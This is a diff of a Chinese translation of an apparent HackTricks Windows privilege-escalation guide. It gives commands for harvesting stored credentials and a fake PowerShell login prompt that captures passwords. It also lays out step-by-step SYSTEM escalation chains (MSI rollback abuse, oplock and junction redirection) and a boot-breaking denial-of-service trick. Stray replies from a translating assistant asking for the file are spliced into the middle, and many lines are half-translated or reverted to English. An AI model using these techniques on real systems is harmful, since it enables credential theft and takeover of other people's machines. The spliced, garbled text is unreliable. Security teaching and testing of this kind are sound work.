该技术似乎已不再有效。我尝试创建一些 ssh 密钥,使用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在进行非对称密钥认证时也未检测到对 `dpapi.dll` 的使用。 +> 看起来该技术不再有效。我尝试创建了一些 ssh 密钥,用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,并且 procmon 在 asymmetric key authentication 期间没有识别出 `dpapi.dll` 的使用。 ### 无人值守的文件 ``` @@ -1011,9 +1004,9 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -你也可以使用 **metasploit** 来搜索这些文件:_post/windows/gather/enum_unattend_ +您也可以使用 **metasploit** 搜索这些文件:_post/windows/gather/enum_unattend_ -示例内容: +示例内容: ```xml @@ -1054,15 +1047,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Search for a file called **SiteList.xml** +搜索名为 **SiteList.xml** 的文件 -### 已缓存的 GPP 密码 +### 缓存的 GPP 密码 -以前有一项功能允许通过 Group Policy Preferences (GPP) 在一组计算机上部署自定义本地管理员账户。然而,该方法存在严重的安全缺陷。首先,作为 XML 文件存储在 SYSVOL 中的 Group Policy Objects (GPOs) 可以被任何域用户访问。其次,这些 GPP 中的密码使用公开记录的默认密钥通过 AES256 加密,任何经过身份验证的用户都可以解密。这带来了严重风险,因为它可能允许用户获取提权权限。 +之前有一个功能可以通过 Group Policy Preferences (GPP) 在一组机器上部署自定义的本地管理员账户。然而,该方法存在严重的安全缺陷。首先,存储在 SYSVOL 中的 Group Policy Objects (GPOs) 作为 XML 文件,可以被任何域用户访问。其次,这些 GPP 中的密码使用公开文档化的默认密钥并通过 AES256 加密,任何经过身份验证的用户都可以解密。这造成了严重风险,可能允许用户获得提升的权限。 -为减轻此风险,开发了一个函数,用于扫描本地缓存的包含非空 "cpassword" 字段的 GPP 文件。找到此类文件后,函数会解密密码并返回一个自定义 PowerShell 对象。该对象包含有关 GPP 及其文件位置的详细信息,有助于识别和修复此安全漏洞。 +为缓解此风险,开发了一个函数,用于扫描本地缓存的包含非空 "cpassword" 字段的 GPP 文件。找到此类文件后,该函数解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 和文件位置的详细信息,帮助识别和修复该安全漏洞。 -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: +在 `C:\ProgramData\Microsoft\Group Policy\history` 或 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(早于 Windows Vista)_ 中搜索以下文件: - Groups.xml - Services.xml @@ -1071,7 +1064,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents - Printers.xml - Drives.xml -**要解密 cPassword:** +**解密 cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1094,7 +1087,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -带凭据的 web.config 示例: +包含凭据的 web.config 示例: ```xml @@ -1104,7 +1097,7 @@ Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction ``` -### OpenVPN 凭据 +### OpenVPN 凭证 ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1132,9 +1125,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### 询问 credentials +### 请求 credentials -你可以随时**要求用户输入他的 credentials,甚至是另一个用户的 credentials**,如果你认为他可能知道它们(注意,直接向客户端**询问**这些 **credentials** 是非常**危险**的): +你可以随时**要求用户输入他自己的 credentials,或者甚至其他用户的 credentials**,如果你认为他可能知道的话(注意,**直接向 client 要求 credentials** 是非常**危险**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1142,9 +1135,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **可能包含 credentials 的文件名** +### **可能包含凭据的文件名** -已知曾经包含 **passwords**(以 **clear-text** 或 **Base64** 存储)的文件 +已知曾经包含以**明文**或 **Base64** 形式保存的**密码**的文件 ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1208,7 +1201,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -我无法直接访问你的文件系统或代码仓库。请把 src/windows-hardening/windows-local-privilege-escalation/README.md 的内容(或你想要我翻译的所有文件内容)粘贴到这里,我会按你的要求把其中的英语文本翻译成中文,保持原有的 markdown/HTML 语法、路径、标签和代码不变,并遵守不翻译特定词汇的规则。 +我需要该文件的内容才能进行翻译。请把 src/windows-hardening/windows-local-privilege-escalation/README.md 的文本粘贴到这里,或提供文件内容。我会按照你的规则翻译,保留代码、标签、路径、链接等不翻译。 ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1217,46 +1210,46 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### 回收站中的凭据 +### 回收站中的凭证 -你还应该检查回收站以查找其中的凭据 +你也应检查回收站,查找其中的凭证 -要 **恢复由多个程序保存的密码**,可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +要**恢复由多个程序保存的密码**,可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### 在注册表中 +### 注册表中 -**其他可能包含凭据的注册表键** +**其他可能包含凭证的注册表键** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**从注册表提取 openssh 密钥。**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### 浏览器历史 -你应该检查存放 **Chrome or Firefox** 密码的数据库。 -也要检查浏览器的历史、书签和收藏夹,因为某些 **密码** 可能就存放在那里。 +你应该检查存储 **Chrome or Firefox** 密码的数据库(dbs)。\ +还要检查浏览器的历史记录、书签和收藏夹,因为其中可能存有一些 **密码**。 -Tools to extract passwords from browsers: +从浏览器提取密码的工具: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL 覆写** +### **COM DLL Overwriting** -Component Object Model (COM) 是内置于 Windows 操作系统的一项技术,允许不同语言的软件组件之间进行互相通信。每个 COM 组件通过 class ID (CLSID) 来标识,每个组件通过一个或多个接口暴露功能,这些接口由 interface IDs (IIDs) 标识。 +**Component Object Model (COM)** 是 Windows 操作系统内的一项技术,允许不同语言的软件组件之间的 **相互通信**。每个 COM 组件通过类 ID (**CLSID**) 进行标识,每个组件通过一个或多个接口暴露功能,这些接口由接口 ID (**IIDs**) 标识。 -COM 类和接口在注册表的 **HKEY\CLASSES\ROOT\CLSID** 和 **HKEY\CLASSES\ROOT\Interface** 下定义。该注册表由 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** 合并生成,等于 **HKEY\CLASSES\ROOT**。 +COM 类和接口在注册表中分别定义于 **HKEY\CLASSES\ROOT\CLSID** 和 **HKEY\CLASSES\ROOT\Interface**。该注册表是由 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** 合并而成的,等同于 **HKEY\CLASSES\ROOT.** -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (单线程), **Free** (多线程), **Both** (单或多线程) or **Neutral** (线程中性). +在该注册表的 CLSID 下,你可以找到子键 **InProcServer32**,它包含一个指向 **DLL** 的 **default value**,以及一个名为 **ThreadingModel** 的值,其可以是 **Apartment** (单线程)、**Free** (多线程)、**Both** (单或多) 或 **Neutral** (线程中性)。 ![](<../../images/image (729).png>) -基本上,如果你能 **overwrite any of the DLLs**,并且这些 DLL 将被执行,那么如果该 DLL 被不同用户执行,你就能够 **escalate privileges**。 +基本上,如果你能够覆盖任何将被执行的 **DLLs**,当该 DLL 被不同用户执行时,你可能能够 **escalate privileges**。 To learn how attackers use COM Hijacking as a persistence mechanism check: @@ -1267,7 +1260,7 @@ com-hijacking.md ### **文件和注册表中的通用密码搜索** -**Search for file contents** +**搜索文件内容** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1279,7 +1272,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**在注册表中搜索键名和密码** +**在注册表中搜索键名称和密码** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1288,11 +1281,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### 搜索 passwords 的工具 -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个 msf 插件**,我创建此插件以 **自动执行每个在受害者系统中搜索 credentials 的 metasploit POST module**。\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 会自动搜索本页提到的所有包含 passwords 的文件。\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个很好的工具,用于从系统中提取 password。 +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个 msf** 插件。我创建此插件以**自动执行每个 metasploit POST module**,这些模块在受害者内搜索 credentials。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 会自动搜索本页中提到的所有包含 passwords 的文件。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个很棒的工具,用于从系统中提取 password。 -工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 会搜索多个将这些数据以明文保存的工具的 **sessions**、**usernames** 和 **passwords**(PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP)。 +该工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 会搜索多个将这些数据以明文保存的工具中的 **sessions**, **usernames** 和 **passwords** (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1301,30 +1294,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -设想 **一个以 SYSTEM 身份运行的进程使用** `OpenProcess()` **打开了一个新进程** 并且具有 **完全访问权限**。同一进程 **也使用** `CreateProcess()` **创建了一个权限较低但继承了主进程所有打开句柄的新进程**。\ -然后,如果你对该低权限进程拥有 **完全访问权限**,你可以获取用 `OpenProcess()` 打开的特权进程的 **打开句柄** 并 **注入 shellcode**。\ +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -被称为 **pipes** 的共享内存段允许进程间通信和数据传输。 +所谓的共享内存段,称为 **pipes**,用于实现进程间通信和数据传输。 -Windows 提供了名为 **Named Pipes** 的功能,允许不相关的进程共享数据,甚至跨网络。这类似于客户端/服务器架构,角色定义为 **named pipe server** 和 **named pipe client**。 +Windows 提供了名为 **Named Pipes** 的功能,允许不相关的进程共享数据,甚至跨网络。它类似于客户端/服务器架构,角色定义为 **named pipe server** 和 **named pipe client**。 -当数据由 **client** 通过 pipe 发送时,设置该 pipe 的 **server** 在拥有必要的 **SeImpersonate** 权限时可以 **采用 client 的身份**。识别一个通过你可以模仿的 pipe 与之通信的 **privileged process**,一旦该进程与您建立的 pipe 交互,就可以通过采用该进程的身份来 **提升权限**。有关执行此类攻击的说明,可在 [**here**](named-pipe-client-impersonation.md) 和 [**here**](#from-high-integrity-to-system) 找到有用的指南。 +当数据由 **client** 通过 pipe 发送时,设置该 pipe 的 **server** 在拥有必要 **SeImpersonate** 权限的情况下可以**获取该 client 的身份**。识别一个通过你能够模拟的 pipe 进行通信的 **privileged process**,当该进程与您建立的 pipe 交互时,采用其身份就有机会**提升权限**。有关执行此类攻击的说明,可参考 [**here**](named-pipe-client-impersonation.md) 和 [**here**](#from-high-integrity-to-system)。 -此外,以下工具允许使用像 burp 这样的工具 **拦截 named pipe 通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有 pipes 来查找 privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +另外,下面的工具允许你**使用像 burp 这样的工具拦截 named pipe 通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有 pipe 以查找 privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## 杂项 +## Misc -### 可能在 Windows 中执行代码的文件扩展名 +### File Extensions that could execute stuff in Windows -查看页面 **[https://filesec.io/](https://filesec.io/)** +请查看页面 **[https://filesec.io/](https://filesec.io/)** -### **监控命令行中的密码** +### **Monitoring Command Lines for passwords** -当以用户身份获得 shell 时,可能存在计划任务或其他正在执行的进程会在 **命令行上传递凭据**。下面的脚本每两秒捕获一次进程的命令行,并将当前状态与之前的状态进行比较,输出任何差异。 +当以用户身份获得 shell 时,可能存在计划任务或其他正在执行的进程,它们会**在命令行上传递凭据**。下面的脚本每两秒捕获一次进程命令行,并将当前状态与之前的状态进行比较,输出任何差异。 ```bash while($true) { @@ -1334,15 +1327,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## 从进程窃取密码 +## Stealing passwords from processes -## 从低权限用户到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -如果你可以访问图形界面(通过 console 或 RDP),并且 UAC 已启用,那么在某些版本的 Microsoft Windows 中,从非特权用户可以运行终端或其他任何进程,例如 "NT\AUTHORITY SYSTEM"。 +如果你可以访问图形界面(通过 控制台 或 RDP),并且 UAC 已启用,在某些 Microsoft Windows 版本中,非特权用户可以运行终端或任何其他进程,例如 "NT\AUTHORITY SYSTEM"。 -这使得可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的二进制文件由 Microsoft 签名并发布。 +这使得可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的可执行文件由 Microsoft 签名并发行。 -以下是一些受影响的系统: +一些受影响的系统包括以下: ``` SERVER ====== @@ -1382,16 +1375,16 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -## 从 Administrator Medium 到 High Integrity Level / UAC Bypass +## From Administrator Medium to High Integrity Level / UAC Bypass -阅读此处以了解 Integrity Levels: +阅读此文以 **learn about Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -然后阅读此处以了解 UAC 和 UAC bypasses: +然后 **阅读此文以了解 UAC 和 UAC bypasses:** {{#ref}} @@ -1400,51 +1393,51 @@ integrity-levels.md ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -该技术在这篇[**blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) 中描述,相关 exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs)。 +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个 **malicious MSI installer**,用于劫持 `C:\Config.Msi` 文件夹,Windows Installer 在卸载其他 MSI 包时会将 rollback 文件存放到该文件夹,而这些 rollback 文件随后会被修改为包含恶意负载。 +该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个 **malicious MSI installer**,用来劫持 `C:\Config.Msi` 文件夹,Windows Installer 会在卸载其他 MSI 包时将回滚文件存储到该文件夹,而回滚文件会被修改以包含恶意负载。 -该方法总结如下: +技术概要如下: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- 创建一个 `.msi`,将一个无害文件(例如 `dummy.txt`)安装到一个可写文件夹(`TARGETDIR`)。 -- 将安装程序标记为 **"UAC Compliant"**,以便 **非管理员用户** 可以运行它。 -- 安装后保持对该文件的一个 **handle** 打开。 +- 创建一个 `.msi`,将一个无害文件(例如 `dummy.txt`)安装到一个可写入的文件夹(`TARGETDIR`)。 +- 将安装程序标记为 **"UAC Compliant"**,以便 **non-admin user** 能运行它。 +- 在安装后对该文件保持一个 **handle** 打开。 - Step 2: Begin Uninstall -- 卸载同一个 `.msi`。 -- 卸载过程开始将文件移动到 `C:\Config.Msi` 并将它们重命名为 `.rbf` 文件(rollback 备份)。 -- 使用 `GetFinalPathNameByHandle` **轮询打开的文件句柄**,以检测该文件何时变为 `C:\Config.Msi\.rbf`。 +- 卸载相同的 `.msi`。 +- 卸载过程开始将文件移动到 `C:\Config.Msi` 并重命名为 `.rbf` 文件(回滚备份)。 +- 使用 `GetFinalPathNameByHandle` **轮询打开的文件句柄**,以检测文件何时变成 `C:\Config.Msi\.rbf`。 - Step 3: Custom Syncing -- 该 `.msi` 包含一个 **custom uninstall action (`SyncOnRbfWritten`)**,该动作: -- 在 `.rbf` 被写入时发送信号。 +- 该 `.msi` 包含一个 **custom uninstall action (`SyncOnRbfWritten`)**,该操作: +- 在 `.rbf` 被写入时发出信号。 - 然后在继续卸载前 **等待** 另一个事件。 - Step 4: Block Deletion of `.rbf` -- 在接收到信号后,**以不包含 `FILE_SHARE_DELETE` 的方式打开 `.rbf` 文件** — 这会**阻止其被删除**。 -- 然后**回传信号**,以便卸载可以完成。 -- Windows Installer 无法删除该 `.rbf`,因为它无法删除所有内容,**`C:\Config.Msi` 将不会被移除**。 +- 当收到信号时,**以不包含 FILE_SHARE_DELETE 的方式打开 `.rbf` 文件**——这将**阻止其被删除**。 +- 然后**回传信号**以便卸载可以完成。 +- Windows Installer 无法删除该 `.rbf`,因为它不能删除所有内容,**`C:\Config.Msi` 不会被移除**。 - Step 5: Manually Delete `.rbf` - 你(攻击者)手动删除 `.rbf` 文件。 -- 现在 **`C:\Config.Msi` 变为空**,可供劫持。 +- 现在 **`C:\Config.Msi` 是空的**,可供劫持。 -> 此时,**触发 SYSTEM-level 的任意文件夹删除漏洞**以删除 `C:\Config.Msi`。 +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- 你重新创建 `C:\Config.Msi` 文件夹。 -- 设置**弱的 DACLs**(例如 Everyone:F),并保持一个带有 `WRITE_DAC` 的 handle 打开。 +- 自行重新创建 `C:\Config.Msi` 文件夹。 +- 设置 **弱 DACLs**(例如 Everyone:F),并保持一个带有 `WRITE_DAC` 的 handle 打开。 - Step 7: Run Another Install - 再次安装该 `.msi`,并设置: -- `TARGETDIR`:可写位置。 -- `ERROROUT`:触发强制失败的变量。 -- 这次安装将再次触发 **rollback**,它会读取 `.rbs` 和 `.rbf`。 +- `TARGETDIR`: 可写位置。 +- `ERROROUT`: 触发强制失败的变量。 +- 这次安装将用于再次触发 **rollback**,该过程会读取 `.rbs` 和 `.rbf`。 - Step 8: Monitor for `.rbs` - 使用 `ReadDirectoryChangesW` 监视 `C:\Config.Msi`,直到出现新的 `.rbs`。 @@ -1452,42 +1445,42 @@ integrity-levels.md - Step 9: Sync Before Rollback - 该 `.msi` 包含一个 **custom install action (`SyncBeforeRollback`)**,该动作: -- 在 `.rbs` 创建时发送一个事件信号。 +- 在 `.rbs` 创建时发出事件信号。 - 然后在继续之前 **等待**。 - Step 10: Reapply Weak ACL - 在收到 `.rbs created` 事件后: - Windows Installer 会**重新应用强 ACLs** 到 `C:\Config.Msi`。 -- 但由于你仍然持有带有 `WRITE_DAC` 的 handle,你可以**再次重新应用弱 ACLs**。 +- 但由于你仍然持有 `WRITE_DAC` 的 handle,可以再次**重新应用弱 ACLs**。 -> ACLs 是**仅在打开句柄时强制执行**,因此你仍然可以写入该文件夹。 +> ACLs are **only enforced on handle open**, so you can still write to the folder. - Step 11: Drop Fake `.rbs` and `.rbf` -- 覆盖 `.rbs` 文件为一个 **伪造的 rollback 脚本**,指示 Windows: -- 将你的 `.rbf`(恶意 DLL)恢复到一个 **特权位置**(例如 `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)。 -- 放下你伪造的 `.rbf`,其中包含 **恶意的 SYSTEM 级负载 DLL**。 +- 覆盖 `.rbs` 文件,放入一个 **fake rollback script**,指示 Windows: +- 将你的 `.rbf`(恶意 DLL)恢复到一个 **privileged location**(例如 `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)。 +- 放下包含 **恶意 SYSTEM 级别载荷 DLL** 的假 `.rbf`。 - Step 12: Trigger the Rollback -- 发出同步事件以使安装程序继续。 -- 一个 **type 19 custom action (`ErrorOut`)** 被配置为在已知点**故意使安装失败**。 -- 这会导致**回滚开始**。 +- 发出同步事件使安装程序继续。 +- 一个 **type 19 custom action (`ErrorOut`)** 被配置为在已知点故意使安装失败。 +- 这将导致 **rollback 开始**。 - Step 13: SYSTEM Installs Your DLL - Windows Installer: - 读取你恶意的 `.rbs`。 - 将你的 `.rbf` DLL 复制到目标位置。 -- 现在你的 **恶意 DLL 位于由 SYSTEM 加载的路径**。 +- 现在你的 **恶意 DLL 在一个由 SYSTEM 加载的路径下**。 - Final Step: Execute SYSTEM Code -- 运行一个受信任的 **auto-elevated binary**(例如 `osk.exe`),它会加载你劫持的 DLL。 +- 运行一个受信任的 **auto-elevated binary**(例如 `osk.exe`)来加载你劫持的 DLL。 - **Boom**:你的代码以 **SYSTEM** 身份执行。 ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -主要的 MSI rollback 技术(上面所述)假定你可以删除整个文件夹(例如 `C:\Config.Msi`)。但如果你的漏洞只允许**任意文件删除**怎么办? +主要的 MSI rollback 技术(上面描述的)假定你可以删除一个**整个文件夹**(例如 `C:\Config.Msi`)。但如果你的漏洞只允许 **arbitrary file deletion** 呢? -你可以利用 **NTFS internals**:每个文件夹都有一个名为的隐藏替代数据流: +你可以利用 **NTFS internals**:每个文件夹都有一个隐藏的备用数据流,称为: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` @@ -1495,107 +1488,107 @@ C:\SomeFolder::$INDEX_ALLOCATION 因此,如果你 **删除文件夹的 `::$INDEX_ALLOCATION` 流**,NTFS 会从文件系统中 **移除整个文件夹**。 -你可以使用标准文件删除 API(例如): +你可以使用标准的文件删除 APIs 来执行此操作,例如: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> 即使你调用的是 *file* delete API,它 **会删除文件夹本身**。 +> 即使你调用的是 *file* 删除 API,它 **删除文件夹本身**。 -### 从 Folder Contents Delete 到 SYSTEM EoP -如果你的 primitive 不允许你删除任意文件/文件夹,但它 **does allow deletion of the *contents* of an attacker-controlled folder**? +### 从删除文件夹内容到 SYSTEM EoP +如果你的原语不允许你删除任意文件/文件夹,但它**确实允许删除攻击者控制的文件夹的 *内容***? -1. 步骤 1:设置诱饵文件夹和文件 +1. 第一步:设置一个诱饵文件夹和文件 - 创建: `C:\temp\folder1` - 在其中: `C:\temp\folder1\file1.txt` -2. 步骤 2:将一个 **oplock** 放在 `file1.txt` 上 -- 当有特权进程尝试删除 `file1.txt` 时,该 oplock **暂停执行**。 +2. 第2步:在 `file1.txt` 上放置一个 **oplock** +- 当有特权进程尝试删除 `file1.txt` 时,oplock **会暂停执行**。 ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. 第3步:触发 SYSTEM 进程(例如,`SilentCleanup`) -- 该进程会扫描文件夹(例如,`%TEMP%`)并尝试删除其中的内容。 -- 当它遇到 `file1.txt` 时,**oplock 触发** 并将控制权交给你的回调。 +3. 步骤 3:触发 SYSTEM 进程 (例如,`SilentCleanup`) +- 该进程扫描文件夹 (例如,`%TEMP%`) 并尝试删除其内容。 +- 当它到达 `file1.txt` 时,**oplock 触发** 并将控制权交给你的回调。 -4. 第4步:在 oplock 回调中 – 重定向删除操作 +4. 步骤 4:在 oplock 回调内 – 重定向删除 -- 选项 A:将 `file1.txt` 移到其他位置 -- 这样会清空 `folder1`,而不会破坏 oplock。 +- 选项 A:将 `file1.txt` 移到别处 +- 这样可以在不破坏 oplock 的情况下清空 `folder1`。 - 不要直接删除 `file1.txt` —— 那会过早释放 oplock。 -- 选项 B:将 `folder1` 转换为 **junction**: +- 选项 B:将 `folder1` 转换为一个 **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- 选项 C: 在 `\RPC Control` 中创建一个 **symlink**: +- 选项 C: 在 `\RPC Control` 中创建一个 **symlink**: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> 这针对存储文件夹元数据的 NTFS 内部流 — 删除它会删除该文件夹。 +> 这针对 NTFS 内部流,存储文件夹元数据 — 删除它会删除该文件夹。 -5. 第5步:释放 oplock +5. 第 5 步:释放 oplock - SYSTEM 进程继续并尝试删除 `file1.txt`。 -- 但现在,由于 junction + symlink,它实际上正在删除: +- 但现在,由于 junction + symlink,实际上它正在删除: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **结果**: `C:\Config.Msi` 被 SYSTEM 删除。 -### 从 Arbitrary Folder Create 到 Permanent DoS +### 从任意文件夹创建到永久性 DoS -利用一个原语,让你 **create an arbitrary folder as SYSTEM/admin** — 即使 **you can’t write files** 或 **set weak permissions**。 +利用一个 primitive 让你能够 **以 SYSTEM/admin 身份创建任意文件夹** — 即使 **你不能写入文件** 或 **设置弱权限**。 -创建一个 **folder**(不是 file),其名称为 **critical Windows driver**,例如: +创建一个**文件夹**(不是文件),其名称为一个**关键 Windows 驱动程序**,例如: ``` C:\Windows\System32\cng.sys ``` - 此路径通常对应于 `cng.sys` 内核模式驱动程序。 -- 如果你 **预先将其创建为一个文件夹**,Windows 在启动时无法加载实际的驱动程序。 -- 然后,Windows 在启动时尝试加载 `cng.sys`。 -- 它看到该文件夹,**无法解析实际的驱动程序**,并**导致崩溃或停止启动**。 -- 没有**回退**,并且**无法恢复**,除非进行外部干预(例如,启动修复或磁盘访问)。 +- 如果你 **预先将其创建为文件夹**,Windows 